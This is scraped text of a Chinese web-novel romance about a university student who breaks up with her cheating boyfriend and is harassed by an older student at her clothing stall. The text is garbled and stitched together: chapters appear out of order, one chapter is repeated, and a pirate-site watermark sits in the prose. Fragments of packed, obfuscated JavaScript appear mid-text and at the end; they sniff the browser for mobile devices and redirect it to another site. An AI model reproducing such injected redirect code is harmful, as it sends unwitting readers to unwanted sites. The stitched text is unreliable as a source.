“泡了脚再去睡吧。” “嗯好。”鞠言点点头，脱了袜子将脚浸入到温暖的水中。 周孝明走回书桌前坐下，翻着法语辞典阅读原文书，桌上那盏小台灯温馨的黄光浴照着他俊雅的侧影。 鞠言泡得有些热起来，脱下外套搁到沙发上。 察觉到她的举动，周孝明回过脸朝她望了一眼，“把外套反穿着吧，万一感冒就不好了。” 鞠言点点头，又将外套反套到了身上。 过了二十分钟，泡脚桶自动关停了。 “洗好了吗？”周孝明回过脸问道。 鞠言：“嗯，可以帮我拿下毛巾吗？” 周孝明起身从浴室拿了擦脚的毛巾走过来，他走到她脚旁蹲下，鞠言忙道： “我自己来就可以了。” 周孝明温柔的眼睛望向她，柔声道：“我来吧。” 他垂着眼，用一块软和而干燥的白色毛巾托住她的脚，每只脚趾弯都替她细细地擦干。 鞠言望着他认真的模样，内心不由得触动。 25、前男友剧情结束 时间又来到了11月，校园被秋色浸染，这周的星期六有些特殊，是周孝明的生日，他照例要出去做家教，两人约好了等他晚上下课后再一起过生日。 这是他和她在一起后的第一个生日，鞠言很重视，除了蛋糕外，她想到他的鞋子总是一些杂牌，穿起来应该不太舒服。 因而鞠言在网上看了许多攻略，特意选了一款以舒适闻名的牌子和款式，怕在网上买换来换去麻烦错过了生日，趁着没课，她便搭地铁去实体店买了来。 鞠言把自己一周前就开始动手做的一张关于《宇宙探索编辑部》的明信片放进鞋盒内，随后用礼品纸将鞋盒包好。 鞠言抱着礼物出了寝室，她打算去接他，想给他个惊喜，并且在见面时，把礼物送出去。 鞠言没有等在校门口，她有点想早点见到周孝明，她怀里抱着鞋盒，一直走到白鸽东路的路口，这是回清津大学必经的一条路，在这里一定能等到周孝明。 鞠言躲到路边的一棵满缀金黄的银杏树背后，不时注意着在临近公交车站下车的乘客。 方砖路上落着无数金黄的小扇子，美得让人不忍践踏，还有一颗别人用扇叶堆成的金色爱心。鞠言拿出手机将这颗爱心拍摄了下来，发送给周孝明。 应该是在忙，他没有立刻回复。 鞠言将手机熄屏放回兜里，弯下腰仔细地挑了一片形状最好的银杏叶捡起来，准备等下连同礼物一起送给他。 忽然有人冲着她按了两声车喇叭，鞠言下意识看过去，鞠然骑着一辆共享电动车从对面的方向驶来，他靠边，在她身旁停下，一条长腿踩地： “欸，鞠小比，你在这儿干什么？” “不跟你说。”鞠言懒得理他。 “大学城那边新开了一家酒吧，你跟不跟我一起去？”鞠然一只手正了正安全头盔。 “不去。”鞠言眼望着站台的方向，在一群刚刚从公共汽车上下来的人中找了找周孝明。 “你别那么无聊行不行，可有意思了，而且有我在你也不会遇到什么危险。” 鞠然本是想拉着室友一起去的，奈何因为搭讪的人太多，林今世不爱去酒吧这类场合，蒋辉和女朋友约会去了，其他几个室友又都有社团活动，鞠然只能一个人前往，看到鞠言，便执着地想把她带上。 “你能不能别烦我了。” 今天是周孝明的生日，鞠言不想让鞠然等下又对着他横鼻子竖眼睛的，因而想快点把鞠然赶走。 “去嘛去嘛。”鞠然抓住她的手臂，扯了扯，一副可怜巴巴的样子，看到她抱着的鞋盒，他好奇地问： “你怀里抱着什么？” “给周孝明的生日礼物，”鞠言笑眯眯地看向鞠然，摊出一只手：“对了，作为我哥哥，我男朋友的生日你不表示一下吗？” “靠，早知道不问了。”鞠然一脸晦气，他转动把手骑车离开。 成功将鞠然赶走后，鞠言又等了一会儿，不同数字的公共汽车已经经过了六辆。 这时，一辆触目的粉色保时捷跑车打着右转灯，驶停在了路边。 鞠言本并未对这辆车多加以注意，只是随意一瞥，却意外发觉车上的人有些眼熟。 今天温度还暖到20多摄氏度，跑车的敞篷降了下来，坐在副驾驶上的周孝明边解开安全带，边侧过头和开车的中年女人说着什么。 衣着时髦的中年女人背对着鞠言，她看不清她的神情，只瞧见她搂住周孝明的脖子，霸道地将他一把拉了过去，和他吻了好一会儿，才依依不舍地松开手。 周孝明下了车，俯着身用鞠言熟悉的温柔笑容微笑着向中年女人道别，他的声音被晚风吹着飘向鞠言： “我回学校了，你路上要小心。” 周孝明没有发现躲在树后的鞠言，他低头看了眼手机，神色自若地从她身旁经过。 过了片刻，鞠言的手机响起了两声提示音，她知道是周孝明回复给她的。 鞠言并没有第一时间点开消息，而是怔怔地在原地僵站了许久，直到腿部传来僵麻，她才感到胸腔内有一阵翻腾，气愤和悲伤还有恶心交织在一起，催生出一股想吐的欲望。 经过那么多天的相处，鞠言不是不知道周孝明平和温柔的外表下隐藏着的野心，可她怎么也没想到他选择的是这种方式。 银杏叶纤细的身体已经被她捏得软塌，她松开手，任由它缓缓飘落回地面。 等鞠言回到女寝楼下时，周孝明已经等了将近一个小时。 他脸上毫无愠色，正坐在大厅的公共座椅上低头看着学习资料。 “周孝明。”鞠言平淡地喊了他一声。 周孝明仰起脸，他正想冲她微笑，目光对上她的神情，不禁怔了下。 他很快便反应过来，她也许已经知道了。 鞠言没再说别的，只淡声道：“去外面说吧。” 周孝明微微点了下头，将放在旁边的黑色书包挎到肩上。 夜色浓重，晚风摇曳梧桐树叶，发出哀伤的低吟声，正是情侣结束约会，男孩送恋人回寝的时间段。 鞠言和周孝明静静地朝外面走着，身旁不时经过一对对手牵手的情侣，往他们的相反的方向走去。 周孝明先开口：“手上的东西是送给我的吗？” 鞠言：“嗯，本来想在白鸽东路就给你的。” “……”周孝明沉默了一会儿，“那你现在怎么想？” 鞠言停下脚步，面向他仰起脸：“是和我在一起之前还是之后？” 周孝明不回避她的眼睛，只是默然了两秒：“之前。” 鞠言心底的厌恶更加盛了一分：“为什么要骗我？” 周孝明：“没想骗你，但我要是告诉你了，你或许就不会接受我了。” “那是一定的，我不会和一个给别人当男宠的人交往。”鞠言的身体微微发抖。 “……” 鞠言的话没有触怒他，周孝明仍旧语气温和，不急不躁，眼睛也没有回避她的眼睛： “可以别把我说的那么不堪吗？我赚钱是为了我们未来的生活。” 鞠言冷声道：“我跟一个从一开始就欺骗我的人不会有未来。” 听到她这么说，周孝明深吸了一口气，随后慢条斯理地开口： “比比，你知道吗，我是从农村出来的，从小都是贫困生，家里只有两间土坯房，墙都是霉烂的，衣服也都是穿别人不要的，一出生就欠了一屁股的人情债，还都还不完……”他摇了摇头，“你是没有体会过生活在这种环境下是什么滋味。” “你不是问过我为什么厨艺那么好吗，我那时候没有说，其实是因为我父亲脾气不好，虽然我那时候不过八岁，可只要不小心做咸一点或淡一点，他抡起凳子就朝我身上砸。” 周孝明闭了下眼睛，把涌上来的情绪咽下去，才睁开眼望着她： “我只是不想我未来的孩子和妻子再受这些苦，所以，谅解我的行为好不好？” 和他交往以来，周孝明从来没有跟她说过这些，鞠言听完后不禁静默了一会儿。 沉默间，周孝明想来牵她的手，鞠言往后退了一步躲开： “这不是你欺骗我的理由。” 周孝明从她的眼睛里明白了这段感情已经无可挽回，他忽然一笑，温声道： “要是真的要计较起来，你爱我，应该还没有我爱你多吧？” 鞠言被他气笑了：“你要我怎么爱你，你欺骗了我这么久，别说爱了，你有尊重过我吗？我不过是一个符合你未来结婚标准的人选，当然，这得在你赚够钱以后。” 周孝明无可奈何地叹了口气：“不管你信不信，我是爱你的。” “你爱一个人的表现形式就是出轨吗？”鞠言冷冷道。 “我虽然一直和她在一起，但我的心里从来没有喜欢过她。而你呢？”周孝明的语气稍稍激动了一点，但很快又平复下去。 “你心里一直有个喜欢的人，虽然我不知道他是谁，但我知道你喜欢他一定比我多很多。”他的尾音里逐渐透出一股悲哀的自怜。 鞠言真想扇他一巴掌，但还是忍住了：“你需要的不是爱情，只是一个合格的未来妻子，从你追求我时，你就已经伤害了我。我不想跟你再浪费时间计较，只希望你以后有点良知，别再去伤害其她人。” 她不想和他再进行无谓的争论，鞋子也不想再去退，便将盒子塞给他：“跟你送我的手链价格差不多，就当相抵了。” 鞠言转过身，背对他往前走着，冷静的步伐与寻常无异。 周孝明停在原地，并没有追上来。 迎面的冷风携着路边枯黄的树叶越过她，往后飞向静止的周孝明。 她真后悔喜欢过他。 鞠言的眼睛有些酸涩，她压住情绪，把将要溢出的泪水咽回心里，她不要为这种人流一滴眼泪。 - “怎么这么快就回来了？”正敷着面膜打游戏的周靓雯抽空看了一眼回到宿舍的鞠言。 鞠言没有回答，她一眼望见了搁在自己书桌上的生日蛋糕，她慢慢走过去，伸手将紫色缎带抽了下来。 她的默然让寝室里的人发现了不对劲。 关鸥从椅子上站起身朝鞠言走过来：“你怎么啦？” 鞠言摇了下头：“我没事，你们要吃蛋糕吗？” 关鸥困惑道：“这不是要给周孝明的吗？” “和他吵架了吗？”沈清梨和童钰也走了过来。 鞠言答非所问：“你们想吃的话，就把蛋糕分了吃吧，我先去洗澡了。” 她径直地走进浴室，洗完澡后便一言不发地躺到了床上。 鞠言更换了手机壁纸，到这时才点开周孝明发送给她的消息。 第一条是他从她身旁经过时发送给她的：【我下课了，现在来找你。】 第二条引用了鞠言发送给他的那张照片：【真漂亮，是你堆的吗？】 最后一条是间隔十五分钟后发过来的：【我到你寝室楼下了。】 她闭了闭潮湿的眼睛，过往不受控地浮现眼前。 周孝明对她或许是有真心的，只不过那真心就像是年末傍晚那天，他来车站接她，与她十指相扣时，露在半截手套外的指尖。 鞠言点进周孝明的头像，犹豫着要不要将他删除，最后还是退了出来。 不是因为舍不得过去的那些回忆，而是因为周孝明是班长，虽说有班级群，但删除了他有些事情只能让别人代为转达，鞠言只是不想因为这些事去麻烦别人。 她将他送她的那条手链挂到了二手网站上，由于价低第二天就被人买下了。 - 鞠言终夜未眠，第二天睡到了中午才起床，寝室里没人，外面在下雨，她也没心情去图书馆，只在寝室里看了一下午的书。 那个废弃的生日蛋糕完好如初，鞠言等寝室里的其她人从图书馆回来后，切开分给了她们。 星期一，一日一夜的微雨过后，持久不降的高温陡然掉了下去，迟到的冷秋来临了。 清晨6:30分，通往教学楼的路上一把把撑开的伞在细雾一般的雨中移动着。由于时间早，气温格外的低些，有一些学生甚至穿上了冬装。 周孝明一如往常站在早自习教室的讲台前点名。他穿着白色卫衣，外面罩着一件黑色的羽绒马甲，鞠言发觉她送他的鞋子，他穿在脚上。 他看起来完全像是什么都没有发生，喊到她的名字时也若无其事，只是不像往常那样在点名结束后坐到她的身旁来。 鞠言也没有表现得像多数失恋的女生那样痛苦颓然，她的脸颊上找不到泪水的痕迹，在周孝明点到她的名字时，也依旧能够面色平静地答“到”。 由于两个人表现出的平静，其他同学很长时间都以为他们只是在闹小情侣之间的矛盾。 只有童钰她们知道她和周孝明分手的事，除了关鸥，其她人一开始对她态度都很小心翼翼，唯恐引起她的伤心，但即使在宿舍里，鞠言也并没有露出什么异样情绪来，她们这才放宽了心。 从前每天都点开的聊天页面，在一夜之间变得寂寥，鞠言身旁的人从周孝明又换回了童钰。 她的时间几乎都在图书馆里度过，用埋头苦学来抹去周孝明给她曾带来的一切。 鞠言对周孝明已有了感情，不难受是假的，但大家都在准备四级考试，她不想因为自己的事影响她们。 失恋一星期后平淡无常的一个夜晚，鞠言已经躺到了床上，她别着耳机，预备听一会儿口语就睡觉。 手机响了声，通讯录显示有人添加。 鞠言点进去，验证消息只有五个字： 【我是林今世。】魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 24. 第 24 章 鞠言的脸一下子冷了：“嘴巴干净点。” 顾炎坤愣了下，看向她，声音提高：“你这是跟学长讲话的态度？” 鞠言：“给我们道歉。” 顾炎坤：“我什么事情需要给你们道歉？” “你自己说了什么你自己清楚。” 顾炎坤心虚地“呸！”了一声：“我需要给你们道歉？你们也配？”他补上一句，“两个捞女！” “谁是捞女！我们拿你什么东西了？”沈清梨又惊又气，态度也差起来。 顾炎坤：“我昨天退回来的人头费不是你收的？” 你自己说要打折的，谁稀罕你这25块？”沈清梨气得声音都发抖了，马上拿出手机来把钱转回给他。 “我们换个地方。”鞠言侧脸对沈清梨道。 沈清梨颤手将钱转回给顾炎坤，随后和鞠言一块开始着手收拾摊子。 看着她们两个的厌恶的脸色，顾炎坤忽然抬腿一脚踹倒了衣架。 鞠言和沈清梨都被吓了一跳。 “你干嘛？！”沈清梨惊喊了一声，想扑上去抢救掉在地上的衣服，身旁鞠言拉住她，冷静道： “随便他，到时候要他一分不少的赔给我们。” 闻言，顾炎坤马上用脚在一条裙子上重重地碾了几下： “就你们这几件破衣服，老子动动手指就赔了！”他瞪起眼睛：“给脸不要脸的，泡你们都是给你们面子了，要胸没胸，要屁股没屁股的！” 争执声引来了注意，周围已经围了一圈人看热闹的人了。 鞠言平静道：“我对动物没兴趣，特别是肥头大耳的动物。” 听到她这么说，周围围观的人群顿时发出一阵爆笑，顾炎坤恼羞成怒，猛地将手里的半截烟朝鞠言脸上掷了过来。 好在鞠言有防备，躲开了，不过烟虽然没有砸到她的脸上，却还是落到了她的身上。 看到她的衣服被烧了个洞，顾炎坤得意极了，提高嗓门冲着她们骂了两声：“臭x子！” 鞠言没有理他，侧脸对沈清梨道：“你报警。” 自己则是回过头在人群中四下寻找鞠然，顾炎坤性格暴躁，等下说不定会动手，有鞠然在的话能安全许多。 可是人群中没有鞠然的身影，甚至一个认识的人都没有。 沈清梨听了鞠言的话，手忙脚乱地拿出手机来报警，顾炎坤见状，冲过来就要抢她的手机，沈清梨吓得腿都软了，手机掉到了地上。 鞠言连忙将沈清梨一把拉开，护到自己身后，沈清梨想去捡手机，顾炎坤也去抢，两人夺了几下，沈清梨夺不过他，下意识照着顾炎坤的身体打了几下。 顾炎坤瞪起眼睛，扬起手朝沈清梨扇了过去。 鞠言忙用尽全力将顾炎坤往后推了一把，沈清梨这才没有被打到。 顾炎坤趔趄着拌了一脚，一屁股坐在了地上，他明显彻底恼了，额角上的筋都暴了起来，他看了眼自己被地面擦伤的手掌，仰起脸瞪向鞠言： “臭x子！你欠收拾是不是！” 趁他还没有重新冲过来，鞠言旋过脸，冲人群呼喊鞠然的名字，希望他能出现。 可是，没有人应声而来，围观的人里也没有一个出来帮忙，他们只是兴奋地高举着手机对着他们拍摄。 顾炎坤已经从地上爬了起来，朝鞠言冲过来，沈清梨吓得哭了。 就在这时，鞠言看到了林今世的身影，他自人群之外经过，明显对这里发生的事情不感兴趣，没有侧眸扫上一眼。 “林今世！” 情急之下，他的名字脱口而出。 他的名字因他本身而特殊，所有人的目光几乎都随着她的呼喊投向了林今世。 林今世回过头，漫不经心地朝这边瞥了一眼，目光停顿了两秒，随即走了过来，簇拥的人群自动为他分开一条宽阔的道路，像是有什么魔力，场面一度安静了下来。 看到鞠言和林今世是认识的，顾炎坤冲着鞠言高举起的拳头立刻安分地垂了下去，脸上的神情有些慌起来，他往后退了好几步，和鞠言保持安全距离。 林今世走到他们身旁停下，垂眸扫了一眼地上那一堆被踩脏的衣服，随后瞥向鞠言。 鞠言顾不上紧张了，简单地跟他说了下情况。 林今世听完后，微微蹙了下眉，随后看向顾炎坤：“捡起来。” 他的声音照旧淡然，可却有一股不敢让人拒绝的威慑力。 顾炎坤身高也将近一米八了，可一到了林今世身旁视觉上瞬间变得矮了不少，他不敢忤逆，没有一秒犹豫，在众目睽睽之下，弯下腰将地上的衣服搂在一起捡了起来，恭敬地递给林今世。 林今世两手仍旧抄在兜里，侧眸看向鞠言： “这些多少钱？” 鞠言看了眼自己被烫破的羽绒服，轻声道：“算上这件，总共三千二。” “我赔你们我赔你们！”顾炎坤连忙说道，空出一只手来摸口袋，他抓出手机，找了找小摊前的收款码。 不过因为摊子被掀翻了，收款码不知道卷到哪里去了，顾炎坤并没有找到。 鞠言拿出手机，打开自己的微信收款码朝向他。 顾炎坤忙举起手机扫了扫，片刻后，鞠言便收到了收款提示。 从自动售货亭买完矿泉水的鞠然挤进人群来看热闹，目光触到在人群中央的鞠言，他怔了下，连忙粗鲁地拨开身旁的人跑了过来。 看到鞠然也赶了过来，顾炎坤怔了下，从他们两个人有些相似的容貌和肤色上，后知后觉意识到了什么。 “你怎么了？”鞠然跑到鞠言身旁，边问边打量着她，注意到她衣服上被烫破的那个洞，鞠然的目光停住，他倒抽了一口冷气，声音瞬间寒了下去： “谁弄的？” 在顾炎坤惊惧地目光下，鞠言将手指向他，她的语气忍不住有些委屈：“他刚才还骂我们是x子。” 闻言，鞠然的呼吸声瞬间重了。 鞠言很想让鞠然狠狠地揍顾炎坤一顿，但是她也不想为了一时解气而让鞠然挨个处分，告状的同时另一只手拉住鞠然： “你别动手，要他给我们道歉就好了。” 可处于暴怒状态的鞠然完全不听鞠言的话，他甩开她的手，朝顾炎坤冲了过去，飞起长腿，一脚就将对方踹翻到了地上。 顾炎坤怀里抱着的五颜六色的女装天女散花般飞向了半空中，有几件兜头罩到了围观的人身上。 不等顾炎坤爬起，鞠然又狠狠补了几脚：“死肥猪，你敢欺负我妹！” 顾炎坤蜷缩在地上没骨气地惨叫着。 鞠然一只手粗暴地将顾炎坤从地上拽了起来，一路拖到鞠言和沈清梨面前： “道歉！” 顾炎坤已经吓得屁滚尿流，慌忙毕恭毕敬地给鞠言和沈清梨道了歉。 “对不起！对不起！” 鞠然：“不够！” 顾炎坤忙又说了好几遍。 鞠言越看顾炎坤这张脸就越讨厌，对鞠然道：“可以了，让他走吧，我不想看见他了。” 鞠然攥着顾炎坤的领口将他搡得连退了好几步，这才松开手：“滚！” 顾炎坤连忙想逃，林今世扫了他一眼：“把你的东西带走。” 顾炎坤不懂他的意思，可林今世没有要解释的样子，他也不敢问，只能站在原地一副进退两难的模样。 “这些都是你的。”鞠言对顾炎坤说道。 顾炎坤顺着她的目光看了看地上乱撒着的衣服，连忙俯下身一件件捡起来。 捡完最后一件，他边慢慢往后退，边小心翼翼地问林今世和鞠然： “那，那我走了？” 鞠然刀了他一眼，顾炎坤会意，连忙抱着一大堆脏兮兮的女式衣物，挤出围观的人群逃走了。 事情解决，鞠言对鞠然道：“谢谢你，哥。” 她又转向林今世，却没有朝他看，轻声道：“谢谢。” 衣服全“卖”完了，鞠言和哭唧唧的沈清梨开始收拾起剩下的架子，鞠然凶巴巴地赶走了在一旁围观的人群，和她们一块儿把剩下的架子折叠起来放进行李箱。 收拾好东西，鞠然牵过行李箱：“我送你们回寝室。” 鞠言拒绝道：“我们自己回去就可以了。” 如果鞠然送她们回去，林今世势必同行。她已经有男朋友了，并且也想彻底将林今世从自己心底抹干净，因而不想跟林今世有过多的接触。 可鞠然说什么也不听，硬要一路护送她们回寝室才放心，鞠言没办法，只能鼓起勇气，视线盯着林今世的鞋子，对他道： “不麻烦你一起去了。” 林今世朝她扫了一眼：“无所谓。” “……” 鞠言没办法了，一路上只能试着让自己强制把他当空气，尽量连余光都不去注意。 走到梧桐大道上，一个身形高大的男人朝他们迎面跑来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305827|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周孝明在鞠言跟前停下，他微微喘着气，担心的目光在鞠言身上流淌了一遍。 “你没有受伤吧？”他问。 鞠言摇摇头：“我没事。” 事发突然，鞠言还没来得及告诉周孝明，她问道：“你怎么知道的？” 周孝明：“别人告诉我的。” “已经没事了，不用担心。”鞠言抬起手，想替他把额上的薄汗拭去，周孝明却握住了她的手，一把将她摁进自己的怀里。 “我好担心你。”他的眉头下弯，表情说不出是心痛还是委屈。 “……”鞠然的表情颇为不爽，巴不得上手将他们撕开。 林今世越过他们身旁，顾自先走了。 鞠言和周孝明分开，回过身对鞠然道： “哥，你先回去吧，不会有什么事情的。” 周孝明：“我会保护好她们的。” 闻言，鞠然气哄哄地将牵着的行李箱一丢，迈步而去。 回到寝室，看到三个室友，沈清梨又忍不住哭了起来。 操场上人多，这件事被拍下来发到了清大的表白墙，闹得还挺大，她们都已经知道了。 周靓雯和童钰连忙过来抱住她们两个，以示安慰。 关鸥也走过来安慰她们：“别哭了，不是挺好的吗，第一天营业，衣服全卖出去了。” 鞠言用手轻轻拍着沈清梨的背，柔声道：“对呀，我们一天就赚了很多钱呢！” 沈清梨这才破涕为笑：“也是，让那死胖子狠狠出了一笔血！” 第二天傍晚，鞠言和沈清梨用赚来的钱请了另外两个室友在大学城的一家川菜馆吃饭。 这家店的川菜做得很正宗，特别是酸菜鱼，里面的薄切酸萝卜比鱼肉还好吃。 周靓雯晚上要和男朋友一起去吃韩料没有去，因此沈清梨还很生气。 - 这场纠纷过去的第三天傍晚，鞠言刚和童钰一块儿到自习教室，沈清梨就急匆匆地跑了过来。 鞠言有些懵：“怎么了？” 沈清梨压低声音道：“顾炎坤被打了，鼻梁都被打断了……” 鞠言微怔：“是谁打的？“ “不知道……”沈清梨的声音有些小心，“比比，会不会……会不会是你哥啊？我看他上回是气疯了。” 以鞠然的性格，真的可能会因为一时冲动再去打顾炎坤一顿，鞠言有些慌了，忙拿起手机走出教室，给鞠然打了个电话。 “喂？”鞠然的声音伴随着游戏的背景音乐。 “你没有去打人吧？”鞠言急道。 “打谁？”鞠然有些莫名其妙。 听鞠然的反应不像是他打的，鞠言松了口气：“没事，我挂了。” 她挂断电话，朝一直盯着她的沈清梨摇了摇头：“不是他。” 沈清梨也松了口气：“那就好。” “这死胖子那么恶心，肯定又是惹到其他人了。”跟着她一起过来的周靓雯骂道。 “我本来还觉得不够解气呢！”沈清梨笑道，“不知道是哪位大侠仗义出手了。” 挨打的是顾炎坤，只要打人的不是鞠然，究竟是谁打的鞠言倒是不在意了。 晚自习上课十几分钟了，坐在前一排的周靓雯忽然扭过身来对鞠言和沈清梨小声道： “好像说是林今世打的……” 鞠言笔尖一顿，三人皆朝周靓雯看了过去。 “是我社团的学姐说的，她也是金融学院的。”周靓雯解释道，“她有个朋友和那个胖子认识，胖子自己说的，虽然没看清脸，但从穿衣风格以及身高来看，应该就是林今世。” “顾炎坤报警了吗？”鞠言忙问。 “没有，他听说林今世的叔叔是德臣置业的董事长，不敢惹他。” 鞠言一头雾水，虽说她和林今世也勉强算是相识，但两个人的关系绝对没到林今世特意为了她去揍人的程度，昨天看他的反应，也更像是帮忙而已。 她思来想去觉得不会是他。 上课的铃响了起来，随后，讲台上传来了周孝明点名的声音。 鞠言的脑海中一瞬有电光闪过，她怔了下，仰起脸看向他。 不会是…… 注意到她的目光，周孝明看向她，冲她露出了一个纯澈的微笑。 班里的人也都顺着他的视线朝她望了过来，鞠言的脸微微有些红了，她低下头，才产生一秒的想法在顷刻间被打消。 25. 前男友剧情结束 时间又来到了11月，校园被秋色浸染，这周的星期六有些特殊，是周孝明的生日，他照例要出去做家教，两人约好了等他晚上下课后再一起过生日。 这是他和她在一起后的第一个生日，鞠言很重视，除了蛋糕外，她想到他的鞋子总是一些杂牌，穿起来应该不太舒服。 因而鞠言在网上看了许多攻略，特意选了一款以舒适闻名的牌子和款式，怕在网上买换来换去麻烦错过了生日，趁着没课，她便搭地铁去实体店买了来。 鞠言把自己一周前就开始动手做的一张关于《宇宙探索编辑部》的明信片放进鞋盒内，随后用礼品纸将鞋盒包好。 鞠言抱着礼物出了寝室，她打算去接他，想给他个惊喜，并且在见面时，把礼物送出去。 鞠言没有等在校门口，她有点想早点见到周孝明，她怀里抱着鞋盒，一直走到白鸽东路的路口，这是回清津大学必经的一条路，在这里一定能等到周孝明。 鞠言躲到路边的一棵满缀金黄的银杏树背后，不时注意着在临近公交车站下车的乘客。 方砖路上落着无数金黄的小扇子，美得让人不忍践踏，还有一颗别人用扇叶堆成的金色爱心。鞠言拿出手机将这颗爱心拍摄了下来，发送给周孝明。 应该是在忙，他没有立刻回复。 鞠言将手机熄屏放回兜里，弯下腰仔细地挑了一片形状最好的银杏叶捡起来，准备等下连同礼物一起送给他。 忽然有人冲着她按了两声车喇叭，鞠言下意识看过去，鞠然骑着一辆共享电动车从对面的方向驶来，他靠边，在她身旁停下，一条长腿踩地： “欸，鞠小比，你在这儿干什么？” “不跟你说。”鞠言懒得理他。 “大学城那边新开了一家酒吧，你跟不跟我一起去？”鞠然一只手正了正安全头盔。 “不去。”鞠言眼望着站台的方向，在一群刚刚从公共汽车上下来的人中找了找周孝明。 “你别那么无聊行不行，可有意思了，而且有我在你也不会遇到什么危险。” 鞠然本是想拉着室友一起去的，奈何因为搭讪的人太多，林今世不爱去酒吧这类场合，蒋辉和女朋友约会去了，其他几个室友又都有社团活动，鞠然只能一个人前往，看到鞠言，便执着地想把她带上。 “你能不能别烦我了。” 今天是周孝明的生日，鞠言不想让鞠然等下又对着他横鼻子竖眼睛的，因而想快点把鞠然赶走。 “去嘛去嘛。”鞠然抓住她的手臂，扯了扯，一副可怜巴巴的样子，看到她抱着的鞋盒，他好奇地问： “你怀里抱着什么？” “给周孝明的生日礼物，”鞠言笑眯眯地看向鞠然，摊出一只手：“对了，作为我哥哥，我男朋友的生日你不表示一下吗？” “靠，早知道不问了。”鞠然一脸晦气，他转动把手骑车离开。 成功将鞠然赶走后，鞠言又等了一会儿，不同数字的公共汽车已经经过了六辆。 这时，一辆触目的粉色保时捷跑车打着右转灯，驶停在了路边。 鞠言本并未对这辆车多加以注意，只是随意一瞥，却意外发觉车上的人有些眼熟。 今天温度还暖到20多摄氏度，跑车的敞篷降了下来，坐在副驾驶上的周孝明边解开安全带，边侧过头和开车的中年女人说着什么。 衣着时髦的中年女人背对着鞠言，她看不清她的神情，只瞧见她搂住周孝明的脖子，霸道地将他一把拉了过去，和他吻了好一会儿，才依依不舍地松开手。 周孝明下了车，俯着身用鞠言熟悉的温柔笑容微笑着向中年女人道别，他的声音被晚风吹着飘向鞠言： “我回学校了，你路上要小心。” 周孝明没有发现躲在树后的鞠言，他低头看了眼手机，神色自若地从她身旁经过。 过了片刻，鞠言的手机响起了两声提示音，她知道是周孝明回复给她的。 鞠言并没有第一时间点开消息，而是怔怔地在原地僵站了许久，直到腿部传来僵麻，她才感到胸腔内有一阵翻腾，气愤和悲伤还有恶心交织在一起，催生出一股想吐的欲望。 经过那么多天的相处，鞠言不是不知道周孝明平和温柔的外表下隐藏着的野心，可她怎么也没想到他选择的是这种方式。 银杏叶纤细的身体已经被她捏得软塌，她松开手，任由它缓缓飘落回地面。 等鞠言回到女寝楼下时，周孝明已经等了将近一个小时。 他脸上毫无愠色，正坐在大厅的公共座椅上低头看着学习资料。 “周孝明。”鞠言平淡地喊了他一声。 周孝明仰起脸，他正想冲她微笑，目光对上她的神情，不禁怔了下。 他很快便反应过来，她也许已经知道了。 鞠言没再说别的，只淡声道：“去外面说吧。” 周孝明微微点了下头，将放在旁边的黑色书包挎到肩上。 夜色浓重，晚风摇曳梧桐树叶，发出哀伤的低吟声，正是情侣结束约会，男孩送恋人回寝的时间段。 鞠言和周孝明静静地朝外面走着，身旁不时经过一对对手牵手的情侣，往他们的相反的方向走去。 周孝明先开口：“手上的东西是送给我的吗？” 鞠言：“嗯，本来想在白鸽东路就给你的。” “……”周孝明沉默了一会儿，“那你现在怎么想？” 鞠言停下脚步，面向他仰起脸：“是和我在一起之前还是之后？” 周孝明不回避她的眼睛，只是默然了两秒：“之前。” 鞠言心底的厌恶更加盛了一分：“为什么要骗我？” 周孝明：“没想骗你，但我要是告诉你了，你或许就不会接受我了。” “那是一定的，我不会和一个给别人当男宠的人交往。”鞠言的身体微微发抖。 “……” 鞠言的话没有触怒他，周孝明仍旧语气温和，不急不躁，眼睛也没有回避她的眼睛： “可以别把我说的那么不堪吗？我赚钱是为了我们未来的生活。” 鞠言冷声道：“我跟一个从一开始就欺骗我的人不会有未来。” 听到她这么说，周孝明深吸了一口气，随后慢条斯理地开口： “比比，你知道吗，我是从农村出来的，从小都是贫困生，家里只有两间土坯房，墙都是霉烂的，衣服也都是穿别人不要的，一出生就欠了一屁股的人情债，还都还不完……”他摇了摇头，“你是没有体会过生活在这种环境下是什么滋味。” “你不是问过我为什么厨艺那么好吗，我那时候没有说，其实是因为我父亲脾气不好，虽然我那时候不过八岁，可只要不小心做咸一点或淡一点，他抡起凳子就朝我身上砸。” 周孝明闭了下眼睛，把涌上来的情绪咽下去，才睁开眼望着她： “我只是不想我未来的孩子和妻子再受这些苦，所以，谅解我的行为好不好？” 和他交往以来，周孝明从来没有跟她说过这些，鞠言听完后不禁静默了一会儿。 沉默间，周孝明想来牵她的手，鞠言往后退了一步躲开： “这不是你欺骗我的理由。” 周孝明从她的眼睛里明白了这段感情已经无可挽回，他忽然一笑，温声道： “要是真的要计较起来，你爱我，应该还没有我爱你多吧？” 鞠言被他气笑了：“你要我怎么爱你，你欺骗了我这么久，别说爱了，你有尊重过我吗？我不过是一个符合你未来结婚标准的人选，当然，这得在你赚够钱以后。” 周孝明无可奈何地叹了口气：“不管你信不信，我是爱你的。” “你爱一个人的表现形式就是出轨吗？”鞠言冷冷道。 “我虽然一直和她在一起，但我的心里从来没有喜欢过她。而你呢？”周孝明的语气稍稍激动了一点，但很快又平复下去。 “你心里一直有个喜欢的人，虽然我不知道他是谁，但我知道你喜欢他一定比我多很多。”他的尾音里逐渐透出一股悲哀的自怜。 鞠言真想扇他一巴掌，但还是忍住了：“你需要的不是爱情，只是一个合格的未来妻子，从你追求我时，你就已经伤害了我。我不想跟你再浪费时间计较，只希望你以后有点良知，别再去伤害其她人。” 她不想和他再进行无谓的争论，鞋子也不想再去退，便将盒子塞给他：“跟你送我的手链价格差不多，就当相抵了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 